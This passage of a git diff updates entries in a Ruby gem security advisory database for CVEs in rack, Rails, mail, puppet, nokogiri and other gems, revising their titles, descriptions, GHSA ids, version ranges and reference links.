+    - http://groups.google.com/group/puppet-announce/browse_thread/thread/91e3b46d2328a1cb
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068053.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068061.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068093.html
+    - http://www.debian.org/security/2011/dsa-2314
+    - http://www.ubuntu.com/usn/USN-1223-1
+    - http://www.ubuntu.com/usn/USN-1223-2
+    - https://github.com/advisories/GHSA-mpmx-gm5v-q789
+---
diff --git a/advisories/_posts/2011-12-28-CVE-2011-5036.md b/advisories/_posts/2011-12-28-CVE-2011-5036.md
index efb5c9ac..2ec8a99a 100644
--- a/advisories/_posts/2011-12-28-CVE-2011-5036.md
+++ b/advisories/_posts/2011-12-28-CVE-2011-5036.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: |
-  CVE-2011-5036 (rack): Rack Hash Collision Form Parameter Parsing Remote DoS
+title: 'CVE-2011-5036 (rack): CVE-2011-5036 rubygem-rack: hash table collisions DoS
+  (oCERT-2011-003)'
 comments: false
 categories:
 - rack
@@ -9,15 +9,15 @@ advisory:
   gem: rack
   cve: 2011-5036
   osvdb: 78121
-  url: http://osvdb.org/show/osvdb/78121
-  title: |
-    Rack Hash Collision Form Parameter Parsing Remote DoS
+  ghsa: v6j3-7jrw-hq2p
+  url: https://nvd.nist.gov/vuln/detail/CVE-2011-5036
+  title: 'CVE-2011-5036 rubygem-rack: hash table collisions DoS (oCERT-2011-003)'
   date: 2011-12-28
   description: |
-    Rack contains a flaw that may allow a remote denial of service. The issue is
-    triggered when an attacker sends multiple crafted parameters which trigger
-    hash collisions, and will result in loss of availability for the program via
-    CPU consumption.
+    Rack before 1.1.3, 1.2.x before 1.2.5, and 1.3.x before 1.3.6 computes
+    hash values for form parameters without restricting the ability to trigger hash
+    collisions predictably, which allows remote attackers to cause a denial of service
+    (CPU consumption) by sending many crafted parameters.
   cvss_v2: 5.0
   patched_versions:
   - "~> 1.1.3"
diff --git a/advisories/_posts/2012-02-01-CVE-2012-6135.md b/advisories/_posts/2012-02-01-CVE-2012-6135.md
index 24d5d390..1c7d271c 100644
--- a/advisories/_posts/2012-02-01-CVE-2012-6135.md
+++ b/advisories/_posts/2012-02-01-CVE-2012-6135.md
@@ -8,16 +8,19 @@ advisory:
   gem: passenger
   cve: 2012-6135
   osvdb: 90738
+  ghsa: 8mw8-j583-vqfg
   url: http://old.blog.phusion.nl/2013/03/05/phusion-passenger-4-0-beta-1-and-2-arbitrary-file-deletion-vulnerability/
   title: Phusion Passenger Gem for Ruby Arbitrary File Deletion
   date: 2012-02-01
-  description: Phusion Passenger Gem for Ruby contains a flaw that is triggered during
-    application startup. This issue may allow a local attacker to delete arbitrary
-    files via an application process. If the program has completed the start up process
-    this vulnerability is no longer exploitable.
+  description: |
+    Phusion Passenger Gem for Ruby contains a flaw that is triggered during
+    application startup. This issue may allow a local attacker to delete arbitrary files
+    via an application process. If the program has completed the start up process this
+    vulnerability is no longer exploitable.
   cvss_v2: 2.1
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 4.0.0.beta"
   patched_versions:
   - ">= 4.0.0"
-  unaffected_versions:
-  - "< 4.0.0"
 ---
diff --git a/advisories/_posts/2012-02-29-CVE-2012-6684.md b/advisories/_posts/2012-02-29-CVE-2012-6684.md
index c67cc2e3..ac979ed0 100644
--- a/advisories/_posts/2012-02-29-CVE-2012-6684.md
+++ b/advisories/_posts/2012-02-29-CVE-2012-6684.md
@@ -1,28 +1,34 @@
 ---
 layout: advisory
-title: 'CVE-2012-6684 (RedCloth): RedCloth Gem for Ruby Textile Link Parsing XSS'
+title: 'CVE-2012-6684 (RedCloth): CVE-2012-6684 rubygem-RedCloth: XSS vulnerability'
 comments: false
 categories:
 - RedCloth
 advisory:
   gem: RedCloth
   cve: 2012-6684
+  ghsa: r23g-3qw4-gfh2
   osvdb: 115941
-  url: https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-6684
-  title: RedCloth Gem for Ruby Textile Link Parsing XSS
+  url: https://co3k.org/blog/redcloth-unfixed-xss-en
+  title: 'CVE-2012-6684 rubygem-RedCloth: XSS vulnerability'
   date: 2012-02-29
   description: |
-    RedCloth Gem for Ruby contains a flaw that allows a cross-site scripting (XSS)
-    attack. This flaw exists because the program does not validate input when
-    parsing textile links before returning it to users. This may allow a remote
-    attacker to create a specially crafted request that would execute arbitrary
-    script code in a user's browser session within the trust relationship between
-    their browser and the server.
+    Cross-site scripting (XSS) vulnerability in the RedCloth library 4.2.9
+    for Ruby and earlier allows remote attackers to inject arbitrary
+    web script or HTML via a javascript: URI.
   cvss_v2: 4.3
   patched_versions:
   - ">= 4.3.0"
   related:
     url:
-    - https://github.com/jgarber/redcloth/commit/2f6dab4d6aea5cee778d2f37a135637fe3f1573c
     - http://co3k.org/blog/redcloth-unfixed-xss-en
+    - https://gist.github.com/co3k/75b3cb416c342aa1414c
+    - https://github.com/jgarber/redcloth/commit/2f6dab4d6aea5cee778d2f37a135637fe3f1573c
+    - https://github.com/jgarber/redcloth/commit/b24f03db023d1653d60dd33b28e09317cd77c6a0
+    - https://jgarber.lighthouseapp.com/projects/13054-redcloth/tickets/243-xss
+    - https://web.archive.org/web/20150128115714/http://jgarber.lighthouseapp.com/projects/13054-redcloth/tickets/243-xss
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-6684
+    - https://github.com/advisories/GHSA-r23g-3qw4-gfh2
+    - http://seclists.org/fulldisclosure/2014/Dec/50
+    - http://www.debian.org/security/2015/dsa-3168
 ---
diff --git a/advisories/_posts/2012-03-01-CVE-2012-1098.md b/advisories/_posts/2012-03-01-CVE-2012-1098.md
index 99cc05af..951ae787 100644
--- a/advisories/_posts/2012-03-01-CVE-2012-1098.md
+++ b/advisories/_posts/2012-03-01-CVE-2012-1098.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2012-1098 (activesupport): Ruby on Rails SafeBuffer Object [] Direct Manipulation
-  XSS'
+title: 'CVE-2012-1098 (activesupport): CVE-2012-1098 rubygem-activesupport: XSS in
+  SafeBuffer#[] (unescaped safe buffers can be marked as safe)'
 comments: false
 categories:
 - activesupport
@@ -11,16 +11,16 @@ advisory:
   framework: rails
   cve: 2012-1098
   osvdb: 79726
-  url: http://osvdb.org/79726
-  title: Ruby on Rails SafeBuffer Object [] Direct Manipulation XSS
+  ghsa: qv8p-v9qw-wc7g
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-1098
+  title: 'CVE-2012-1098 rubygem-activesupport: XSS in SafeBuffer#[] (unescaped safe
+    buffers can be marked as safe)'
   date: 2012-03-01
   description: |
-    Ruby on Rails contains a flaw that allows a remote cross-site scripting (XSS)
-    attack. This flaw exists because athe application does not validate direct
-    manipulations of SafeBuffer objects via '[]' and other methods. This may
-    allow a user to create a specially crafted request that would execute
-    arbitrary script code in a user's browser within the trust relationship
-    between their browser and the server.
+    Cross-site scripting (XSS) vulnerability in Ruby on Rails 3.0.x before
+    3.0.12, 3.1.x before 3.1.4, and 3.2.x before 3.2.2 allows remote attackers to inject
+    arbitrary web script or HTML via vectors involving a SafeBuffer object that is manipulated
+    through certain methods.
   cvss_v2: 4.3
   unaffected_versions:
   - "< 3.0.0"
diff --git a/advisories/_posts/2012-03-01-CVE-2012-1099.md b/advisories/_posts/2012-03-01-CVE-2012-1099.md
index 7f008215..4ff121c1 100644
--- a/advisories/_posts/2012-03-01-CVE-2012-1099.md
+++ b/advisories/_posts/2012-03-01-CVE-2012-1099.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2012-1099 (actionpack): Ruby on Rails actionpack/lib/action_view/helpers/form_options_helper.rb
-  Manually Generated Select Tag Options XSS'
+title: 'CVE-2012-1099 (actionpack): CVE-2012-1099 rubygem-actionpack: XSS in the "select"
+  helper'
 comments: false
 categories:
 - actionpack
@@ -11,16 +11,15 @@ advisory:
   framework: rails
   cve: 2012-1099
   osvdb: 79727
-  url: http://www.osvdb.org/show/osvdb/79727
-  title: Ruby on Rails actionpack/lib/action_view/helpers/form_options_helper.rb Manually
-    Generated Select Tag Options XSS
+  ghsa: 2xjj-5x6h-8vmf
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-1099
+  title: 'CVE-2012-1099 rubygem-actionpack: XSS in the "select" helper'
   date: 2012-03-01
-  description: "Ruby on Rails contains a flaw that allows a remote cross-site scripting
-    (XSS) \nattack. This flaw exists because the application does not validate manually\ngenerated
-    'select tag options' upon submission to\nactionpack/lib/action_view/helpers/form_options_helper.rb.
-    This may allow a\nuser to create a specially crafted request that would execute
-    arbitrary\nscript code in a user's browser within the trust relationship between
-    their\nbrowser and the server.\n"
+  description: |
+    Cross-site scripting (XSS) vulnerability in actionpack/lib/action_view/helpers/form_options_helper.rb
+    in the select helper in Ruby on Rails 3.0.x before 3.0.12, 3.1.x before 3.1.4, and
+    3.2.x before 3.2.2 allows remote attackers to inject arbitrary web script or HTML
+    via vectors involving certain generation of OPTION elements within SELECT elements.
   cvss_v2: 4.3
   patched_versions:
   - "~> 3.0.12"
diff --git a/advisories/_posts/2012-03-14-CVE-2012-2139.md b/advisories/_posts/2012-03-14-CVE-2012-2139.md
index a967b58c..07f90098 100644
--- a/advisories/_posts/2012-03-14-CVE-2012-2139.md
+++ b/advisories/_posts/2012-03-14-CVE-2012-2139.md
@@ -1,7 +1,6 @@
 ---
 layout: advisory
-title: 'CVE-2012-2139 (mail): Mail Gem for Ruby File Delivery Method to Parameter
-  Traversal Arbitrary File Manipulation'
+title: 'CVE-2012-2139 (mail): CVE-2012-2139 rubygem-mail: directory traversal'
 comments: false
 categories:
 - mail
@@ -9,12 +8,14 @@ advisory:
   gem: mail
   cve: 2012-2139
   osvdb: 81631
-  url: http://www.osvdb.org/show/osvdb/81631
-  title: Mail Gem for Ruby File Delivery Method to Parameter Traversal Arbitrary File
-    Manipulation
+  ghsa: cj92-c4fj-w9c5
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-2139
+  title: 'CVE-2012-2139 rubygem-mail: directory traversal'
   date: 2012-03-14
   description: |
-    Mail Gem for Ruby contains a flaw that allows a remote attacker to traverse outside of a restricted path. The issue is due to the program not properly sanitizing user input, specifically directory traversal style attacks (e.g., ../../) supplied via the 'to' parameter within the delivery method. This directory traversal attack would allow the attacker to modify arbitrary files.
+    Directory traversal vulnerability in lib/mail/network/delivery_methods/file_delivery.rb
+    in the Mail gem before 2.4.4 for Ruby allows remote attackers to read arbitrary
+    files via a .. (dot dot) in the to parameter.
   cvss_v2: 5.0
   patched_versions:
   - ">= 2.4.4"
diff --git a/advisories/_posts/2012-03-14-CVE-2012-2140.md b/advisories/_posts/2012-03-14-CVE-2012-2140.md
index ec944787..46c71191 100644
--- a/advisories/_posts/2012-03-14-CVE-2012-2140.md
+++ b/advisories/_posts/2012-03-14-CVE-2012-2140.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2012-2140 (mail): Mail Gem for Ruby Multiple Delivery Method Remote Shell
-  Command Execution'
+title: 'CVE-2012-2140 (mail): CVE-2012-2140 rubygem-mail: arbitrary command execution
+  when using exim or sendmail from commandline'
 comments: false
 categories:
 - mail
@@ -9,13 +9,14 @@ advisory:
   gem: mail
   cve: 2012-2140
   osvdb: 81632
-  url: http://www.osvdb.org/show/osvdb/81632
-  title: Mail Gem for Ruby Multiple Delivery Method Remote Shell Command Execution
+  ghsa: rp63-jfmw-532w
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-2140
+  title: 'CVE-2012-2140 rubygem-mail: arbitrary command execution when using exim
+    or sendmail from commandline'
   date: 2012-03-14
   description: |
-    Mail Gem for Ruby contains a flaw that occurs within the sendmail and exim
-    delivery methods, which may allow an attacker to execute arbitrary shell
-    commands..
+    The Mail gem before 2.4.3 for Ruby allows remote attackers to execute
+    arbitrary commands via shell metacharacters in a (1) sendmail or (2) exim delivery.
   cvss_v2: 7.5
   patched_versions:
   - ">= 2.4.4"
diff --git a/advisories/_posts/2012-04-20-CVE-2012-2126.md b/advisories/_posts/2012-04-20-CVE-2012-2126.md
new file mode 100644
index 00000000..e49b030a
--- /dev/null
+++ b/advisories/_posts/2012-04-20-CVE-2012-2126.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2012-2126 (rubygems-update): CVE-2012-2125 CVE-2012-2126 rubygems: Two
+  security fixes in v1.8.23'
+comments: false
+categories:
+- rubygems-update
+- rubygems
+advisory:
+  gem: rubygems-update
+  library: rubygems
+  cve: 2012-2126
+  osvdb: 81444
+  ghsa: 5mgj-mvv8-46mw
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-2126
+  title: 'CVE-2012-2125 CVE-2012-2126 rubygems: Two security fixes in v1.8.23'
+  date: 2012-04-20
+  description: |
+    RubyGems before 1.8.23 does not verify an SSL certificate, which allows
+    remote attackers to modify a gem during installation via a man-in-the-middle attack.
+  cvss_v2: 4.3
+  patched_versions:
+  - ">= 1.8.23"
+---
diff --git a/advisories/_posts/2012-05-04-CVE-2012-6109.md b/advisories/_posts/2012-05-04-CVE-2012-6109.md
index ede2173a..6909fa66 100644
--- a/advisories/_posts/2012-05-04-CVE-2012-6109.md
+++ b/advisories/_posts/2012-05-04-CVE-2012-6109.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: |
-  CVE-2012-6109 (rack): Rack Regular Expressions Engine Content-Disposition Header Parsing Infinite Loop Remote DoS
+title: 'CVE-2012-6109 (rack): CVE-2012-6109 rubygem-rack: parsing Content-Disposition
+  header DoS'
 comments: false
 categories:
 - rack
@@ -9,15 +9,15 @@ advisory:
   gem: rack
   cve: 2012-6109
   osvdb: 89317
-  url: http://osvdb.org/show/osvdb/89317
-  title: |
-    Rack Regular Expressions Engine Content-Disposition Header Parsing Infinite Loop Remote DoS
+  ghsa: h77x-m5q8-c29h
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-6109
+  title: 'CVE-2012-6109 rubygem-rack: parsing Content-Disposition header DoS'
   date: 2012-05-04
   description: |
-    Rack contains a flaw in the Regular Expressions Engine that may allow a remote
-    denial of service. The issue is triggered when parsing context-disposition
-    headers. With a specially crafted header, a remote attacker can cause an
-    infinite loop, which will result in a loss of availability for the webserver.
+    lib/rack/multipart.rb in Rack before 1.1.4, 1.2.x before 1.2.6, 1.3.x
+    before 1.3.7, and 1.4.x before 1.4.2 uses an incorrect regular expression, which
+    allows remote attackers to cause a denial of service (infinite loop) via a crafted
+    Content-Disposion header.
   cvss_v2: 4.3
   patched_versions:
   - "~> 1.1.4"
diff --git a/advisories/_posts/2012-05-11-OSVDB-96396.md b/advisories/_posts/2012-05-11-OSVDB-96396.md
new file mode 100644
index 00000000..bcfbf51d
--- /dev/null
+++ b/advisories/_posts/2012-05-11-OSVDB-96396.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'OSVDB-96396 (activemodel): Don''t allow confirmation to pass if confirmation
+  value is nil and doesn''t match value.'
+comments: false
+categories:
+- activemodel
+- rails
+advisory:
+  gem: activemodel
+  framework: rails
+  osvdb: 96396
+  url: https://github.com/rails/rails/pull/8122
+  title: Don't allow confirmation to pass if confirmation value is nil and doesn't
+    match value.
+  date: 2012-05-11
+  description: |
+    Don't allow confirmation to pass if confirmation value is
+    nil and doesn't match value.
+  notes: Never patched; PR#8122 is closed but not merged
+  related:
+    url:
+    - https://github.com/rails/rails/pull/8122
+    - https://github.com/rails/rails/pull/8122/commits/e8a50aa1c1f9d04c21b54e983f9a090d4b42c8eb
+    - https://github.com/rails/rails/commit/e8a50aa1c1f9d04c21b54e983f9a090d4b42c8eb
+    - https://github.com/rubysec/ruby-advisory-db/issues/178
+---
diff --git a/advisories/_posts/2012-05-29-CVE-2012-1053.md b/advisories/_posts/2012-05-29-CVE-2012-1053.md
new file mode 100644
index 00000000..c825aeae
--- /dev/null
+++ b/advisories/_posts/2012-05-29-CVE-2012-1053.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'CVE-2012-1053 (puppet): Puppet Privilege Escallation'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2012-1053
+  ghsa: 77hg-g8cc-5r37
+  url: https://web.archive.org/web/20120504011717/http://puppetlabs.com/security/cve/cve-2012-1053
+  title: Puppet Privilege Escallation
+  date: 2012-05-29
+  description: |
+    The change_user method in the SUIDManager (lib/puppet/util/suidmanager.rb)
+    in Puppet 2.6.x before 2.6.14 and 2.7.x before 2.7.11, and Puppet Enterprise (PE)
+    Users 1.0, 1.1, 1.2.x, 2.0.x before 2.0.3 does not properly manage group privileges,
+    which allows local users to gain privileges via vectors related to (1) the change_user
+    not dropping supplementary groups in certain conditions, (2) changes to the eguid
+    without associated changes to the egid, or (3) the addition of the real gid to supplementary
+    groups.
+  cvss_v2: 6.5
+  unaffected_versions:
+  - "< 2.6"
+  patched_versions:
+  - "~> 2.6.14"
+  - ">= 2.7.11"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-1053
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/73445
+    - https://hermes.opensuse.org/messages/15087408
+    - https://github.com/puppetlabs/puppet/commit/76d0749f0a9a496b70e7dc7e6d6d6ff692224e36
+    - https://lists.opensuse.org/opensuse-security-announce/2012-03/msg00003.html
+    - https://ubuntu.com/usn/usn-1372-1
+    - https://web.archive.org/web/20120504011717/http://puppetlabs.com/security/cve/cve-2012-1053
+    - https://web.archive.org/web/20120513215447/http://projects.puppetlabs.com/issues/12458
+    - https://web.archive.org/web/20120513215653/http://projects.puppetlabs.com/issues/12457
+    - https://web.archive.org/web/20120513223437/http://projects.puppetlabs.com/issues/12459
+    - https://web.archive.org/web/20120527071855/http://www.securityfocus.com/bid/52158
+    - https://web.archive.org/web/20120816020421/http://projects.puppetlabs.com/projects/1/wiki/Release_Notes#2.6.14
+    - https://www.debian.org/security/2012/dsa-2419
+    - https://github.com/advisories/GHSA-77hg-g8cc-5r37
+---
diff --git a/advisories/_posts/2012-05-29-CVE-2012-1906.md b/advisories/_posts/2012-05-29-CVE-2012-1906.md
new file mode 100644
index 00000000..bb2c4b79
--- /dev/null
+++ b/advisories/_posts/2012-05-29-CVE-2012-1906.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2012-1906 (puppet): Puppet uses predictable filenames, allowing arbitrary
+  file overwrite'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2012-1906
+  ghsa: c4mc-49hq-q275
+  url: https://exchange.xforce.ibmcloud.com/vulnerabilities/74793
+  title: Puppet uses predictable filenames, allowing arbitrary file overwrite
+  date: 2012-05-29
+  description: |
+    Puppet 2.6.x before 2.6.15 and 2.7.x before 2.7.13, and Puppet Enterprise
+    (PE) Users 1.0, 1.1, 1.2.x, 2.0.x, and 2.5.x before 2.5.1 uses predictable file
+    names when installing Mac OS X packages from a remote source, which allows local
+    users to overwrite arbitrary files or install arbitrary packages via a symlink attack
+    on a temporary file in /tmp.
+  cvss_v2: 3.3
+  unaffected_versions:
+  - "< 2.6"
+  patched_versions:
+  - "~> 2.6.15"
+  - ">= 2.7.13"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-1906
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74793
+    - https://github.com/puppetlabs/puppet/commit/f7829ec1f1b2c3def8e0eda09c22c3c1fed3a27f
+    - https://ubuntu.com/usn/usn-1419-1
+    - https://web.archive.org/web/20120415105345/http://www.securityfocus.com/bid/52975
+    - https://www.debian.org/security/2012/dsa-2451
+    - https://github.com/advisories/GHSA-c4mc-49hq-q275
+---
diff --git a/advisories/_posts/2012-05-31-CVE-2012-2660.md b/advisories/_posts/2012-05-31-CVE-2012-2660.md
index 89779c33..fbba268e 100644
--- a/advisories/_posts/2012-05-31-CVE-2012-2660.md
+++ b/advisories/_posts/2012-05-31-CVE-2012-2660.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2012-2660 (activerecord): Ruby on Rails ActiveRecord Class Rack Query
-  Parameter Parsing SQL Query Arbitrary IS NULL Clause Injection'
+title: 'CVE-2012-2660 (activerecord): CVE-2012-2660 rubygem-actionpack: Unsafe query
+  generation'
 comments: false
 categories:
 - activerecord
@@ -11,16 +11,16 @@ advisory:
   framework: rails
   cve: 2012-2660
   osvdb: 82610
-  url: http://www.osvdb.org/show/osvdb/82610
-  title: Ruby on Rails ActiveRecord Class Rack Query Parameter Parsing SQL Query Arbitrary
-    IS NULL Clause Injection
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-2660
+  title: 'CVE-2012-2660 rubygem-actionpack: Unsafe query generation'
   date: 2012-05-31
   description: |
-    Ruby on Rails contains a flaw related to the way ActiveRecord handles
-    parameters in conjunction with the way Rack parses query parameters.
-    This issue may allow an attacker to inject arbitrary 'IS NULL' clauses in
-    to application SQL queries. This may also allow an attacker to have the
-    SQL query check for NULL in arbitrary places.
+    actionpack/lib/action_dispatch/http/request.rb in Ruby on Rails before
+    3.0.13, 3.1.x before 3.1.5, and 3.2.x before 3.2.4 does not properly consider differences
+    in parameter handling between the Active Record component and the Rack interface,
+    which allows remote attackers to bypass intended database-query restrictions and
+    perform NULL checks via a crafted request, as demonstrated by certain "[nil]" values,
+    a related issue to CVE-2012-2694.
   cvss_v2: 7.5
   patched_versions:
   - "~> 3.0.13"
diff --git a/advisories/_posts/2012-05-31-CVE-2012-2661.md b/advisories/_posts/2012-05-31-CVE-2012-2661.md
index aeab9180..73cf139b 100644
--- a/advisories/_posts/2012-05-31-CVE-2012-2661.md
+++ b/advisories/_posts/2012-05-31-CVE-2012-2661.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2012-2661 (activerecord): Ruby on Rails where Method ActiveRecord Class
-  SQL Injection'
+title: 'CVE-2012-2661 (activerecord): CVE-2012-2661 rubygem-activerecord: SQL injection
+  when processing nested query paramaters'
 comments: false
 categories:
 - activerecord
@@ -11,15 +11,17 @@ advisory:
   framework: rails
   cve: 2012-2661
   osvdb: 82403
-  url: http://www.osvdb.org/show/osvdb/82403
-  title: Ruby on Rails where Method ActiveRecord Class SQL Injection
+  ghsa: fh39-v733-mxfr
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-2661
+  title: 'CVE-2012-2661 rubygem-activerecord: SQL injection when processing nested
+    query paramaters'
   date: 2012-05-31
   description: |
-    Ruby on Rails (RoR) contains a flaw that may allow an attacker to carry out
-    an SQL injection attack. The issue is due to the ActiveRecord class not
-    properly sanitizing user-supplied input to the 'where' method. This may
-    allow an attacker to inject or manipulate SQL queries in an application
-    built on RoR, allowing for the manipulation or disclosure of arbitrary data.
+    The Active Record component in Ruby on Rails 3.0.x before 3.0.13, 3.1.x
+    before 3.1.5, and 3.2.x before 3.2.4 does not properly implement the passing of
+    request data to a where method in an ActiveRecord class, which allows remote attackers
+    to conduct certain SQL injection attacks via nested query parameters that leverage
+    unintended recursion, a related issue to CVE-2012-2695.
   cvss_v2: 5.0
   unaffected_versions:
   - "~> 2.3.14"
diff --git a/advisories/_posts/2012-06-06-CVE-2012-2671.md b/advisories/_posts/2012-06-06-CVE-2012-2671.md
index 9254493a..90421f01 100644
--- a/advisories/_posts/2012-06-06-CVE-2012-2671.md
+++ b/advisories/_posts/2012-06-06-CVE-2012-2671.md
@@ -9,7 +9,8 @@ advisory:
   gem: rack-cache
   cve: 2012-2671
   osvdb: 83077
-  url: http://osvdb.org/83077
+  ghsa: hrp6-w4v2-8737
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-2671
   title: rack-cache Rubygem Sensitive HTTP Header Caching Weakness
   date: 2012-06-06
   description: |
diff --git a/advisories/_posts/2012-06-08-CVE-2012-6685.md b/advisories/_posts/2012-06-08-CVE-2012-6685.md
index 7db5ec49..743058e2 100644
--- a/advisories/_posts/2012-06-08-CVE-2012-6685.md
+++ b/advisories/_posts/2012-06-08-CVE-2012-6685.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2012-6685 (nokogiri): Nokogiri Gem for Ruby External Entity (XXE) Expansion
-  Internal Network Response Remote Disclosure'
+title: 'CVE-2012-6685 (nokogiri): CVE-2012-6685 rubygem-nokogiri: XML eXternal Entity
+  (XXE) flaw'
 comments: false
 categories:
 - nokogiri
@@ -9,15 +9,15 @@ advisory:
   gem: nokogiri
   cve: 2012-6685
   osvdb: 90946
-  url: http://www.osvdb.org/show/osvdb/90946
-  title: Nokogiri Gem for Ruby External Entity (XXE) Expansion Internal Network Response
-    Remote Disclosure
+  ghsa: 6wj9-77wq-jq7p
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-6685
+  title: 'CVE-2012-6685 rubygem-nokogiri: XML eXternal Entity (XXE) flaw'
   date: 2012-06-08
-  description: libxml2 contains a flaw that may lead to unauthorized disclosure of
-    potentially sensitive information. The issue is triggered when handling the expansion
-    of XML external entities (XXE), which can be used to trigger URL's on an internal
-    network and allow a remote attacker to gain access to their responses.
+  description: 'Nokogiri before 1.5.4 is vulnerable to XXE attacks
+
+    '
   cvss_v2: 5.0
+  cvss_v3: 7.5
   patched_versions:
   - ">= 1.5.4"
 ---
diff --git a/advisories/_posts/2012-07-02-OSVDB-125712.md b/advisories/_posts/2012-07-02-OSVDB-125712.md
index a9044abf..eb59c787 100644
--- a/advisories/_posts/2012-07-02-OSVDB-125712.md
+++ b/advisories/_posts/2012-07-02-OSVDB-125712.md
@@ -1,16 +1,15 @@
 ---
 layout: advisory
-title: |
-  OSVDB-125712 (spree): Product Scopes could allow for unauthenticated remote command execution
+title: 'OSVDB-125712 (spree): Product Scopes could allow for unauthenticated remote
+  command execution'
 comments: false
 categories:
 - spree
 advisory:
   gem: spree
   osvdb: 125712
-  url: https://spreecommerce.com/blog/security-issue-all-versions
-  title: |
-    Product Scopes could allow for unauthenticated remote command execution
+  url: https://web.archive.org/web/20121126005814/https://spreecommerce.com/blog/security-issue-all-versions
+  title: Product Scopes could allow for unauthenticated remote command execution
   date: 2012-07-02
   description: |
     Product Scopes could allow for unauthenticated remote command execution.
@@ -21,4 +20,8 @@ advisory:
   - "~> 0.70.6"
   - "~> 1.0.5"
   - ">= 1.1.2"
+  related:
+    url:
+    - https://web.archive.org/web/20121126005814/https://spreecommerce.com/blog/security-issue-all-versions
+    - https://security.snyk.io/vuln/SNYK-RUBY-SPREE-20034
 ---
diff --git a/advisories/_posts/2012-07-02-OSVDB-125713.md b/advisories/_posts/2012-07-02-OSVDB-125713.md
index 1ab1c05b..602ef0d4 100644
--- a/advisories/_posts/2012-07-02-OSVDB-125713.md
+++ b/advisories/_posts/2012-07-02-OSVDB-125713.md
@@ -1,23 +1,25 @@
 ---
 layout: advisory
-title: |
-  OSVDB-125713 (spree): Potential XSS vulnerability related to the analytics dashboard
+title: 'OSVDB-125713 (spree): Potential XSS vulnerability related to the analytics
+  dashboard'
 comments: false
 categories:
 - spree
 advisory:
   gem: spree
   osvdb: 125713
-  url: https://spreecommerce.com/blog/security-issue-all-versions
-  title: |
-    Potential XSS vulnerability related to the analytics dashboard
+  url: https://web.archive.org/web/20121126005814/https://spreecommerce.com/blog/security-issue-all-versions
+  title: Potential XSS vulnerability related to the analytics dashboard
   date: 2012-07-02
   description: |
-    Spree has a flaw in its analytics dashboard where keywords are not escaped,
-    leading to potential XSS.
+    Spree has a flaw in its analytics dashboard where
+    keywords are not escaped, leading to potential XSS.
   patched_versions:
   - "~> 0.11.4"
   - "~> 0.70.6"
   - "~> 1.0.5"
   - ">= 1.1.2"
+  related:
+    url:
+    - https://web.archive.org/web/20121126005814/https://spreecommerce.com/blog/security-issue-all-versions
 ---
diff --git a/advisories/_posts/2012-07-26-CVE-2012-3424.md b/advisories/_posts/2012-07-26-CVE-2012-3424.md
index da755241..2de76573 100644
--- a/advisories/_posts/2012-07-26-CVE-2012-3424.md
+++ b/advisories/_posts/2012-07-26-CVE-2012-3424.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2012-3424 (actionpack): Ruby on Rails actionpack/lib/action_controller/metal/http_authentication.rb
-  with_http_digest Helper Method Remote DoS'
+title: 'CVE-2012-3424 (actionpack): CVE-2012-3424 rubygem-actionpack: DoS vulnerability
+  in authenticate_or_request_with_http_digest'
 comments: false
 categories:
 - actionpack
@@ -11,16 +11,16 @@ advisory:
   framework: rails
   cve: 2012-3424
   osvdb: 84243
-  url: http://www.osvdb.org/show/osvdb/84243
-  title: Ruby on Rails actionpack/lib/action_controller/metal/http_authentication.rb
-    with_http_digest Helper Method Remote DoS
+  ghsa: 92w9-2pqw-rhjj
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-3424
+  title: 'CVE-2012-3424 rubygem-actionpack: DoS vulnerability in authenticate_or_request_with_http_digest'
   date: 2012-07-26
   description: |
-    Ruby on Rails contains a flaw that may allow a remote denial of service.
-    The issue is triggered when an error occurs in
-    actionpack/lib/action_controller/metal/http_authentication.rb when the
-    with_http_digest helper method is being used. This may allow a remote
-    attacker to cause a loss of availability for the program.
+    The decode_credentials method in actionpack/lib/action_controller/metal/http_authentication.rb
+    in Ruby on Rails 3.x before 3.0.16, 3.1.x before 3.1.7, and 3.2.x before 3.2.7 converts
+    Digest Authentication strings to symbols, which allows remote attackers to cause
+    a denial of service by leveraging access to an application that uses a with_http_digest
+    helper method, as demonstrated by the authenticate_or_request_with_http_digest method.
   cvss_v2: 5.0
   unaffected_versions:
   - ">= 2.3.5, <= 2.3.14"
diff --git a/advisories/_posts/2012-08-08-CVE-2010-5142.md b/advisories/_posts/2012-08-08-CVE-2010-5142.md
new file mode 100644
